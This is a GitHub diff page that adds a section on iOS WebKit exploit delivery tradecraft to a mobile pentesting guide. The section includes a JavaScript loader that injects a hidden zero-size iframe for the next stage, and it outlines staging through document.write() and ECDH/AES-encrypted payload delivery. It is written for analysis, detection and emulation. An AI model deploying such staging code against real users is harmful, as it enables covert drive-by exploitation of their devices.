You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/mobile-pentesting/ios-pentesting/ios-webviews.md
+106-1Lines changed: 106 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -284,6 +284,110 @@ class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
284
284
}
285
285
```
286
286
287
+
288
+
## iOS Web Exploit Delivery & Staging Tradecraft
289
+
290
+
The following patterns have been observed in real-world iOS Safari/WebKit exploit delivery chains and are useful for analysis, detection, and controlled emulation.
291
+
292
+
### Multi-stage loader via hidden iframes
293
+
294
+
A common staging pattern is to gate execution to avoid reinfection or analysis and then inject a hidden/off-screen `iframe` for the next stage:
295
+
296
+
```html
297
+
<script>
298
+
if (!sessionStorage.getItem('uid') && isTouchScreen) {
299
+
sessionStorage.setItem('uid', '1');
300
+
const frame = document.createElement('iframe');
301
+
frame.src = 'frame.html?' + Math.random();
302
+
frame.style.height = 0;
303
+
frame.style.width = 0;
304
+
frame.style.border = 'none';
305
+
document.body.appendChild(frame);
306
+
} else {
307
+
top.location.href = 'red';
308
+
}
309
+
</script>
310
+
```
311
+
312
+
A minimal staging page can inject the main loader via `document.write()`:
Some loaders encrypt exploit stages in transit. A minimal client flow is: generate an ephemeral ECDH keypair, POST the base64 public key, receive encrypted blobs, derive an AES key, decrypt, then decode to JavaScript:
0 commit comments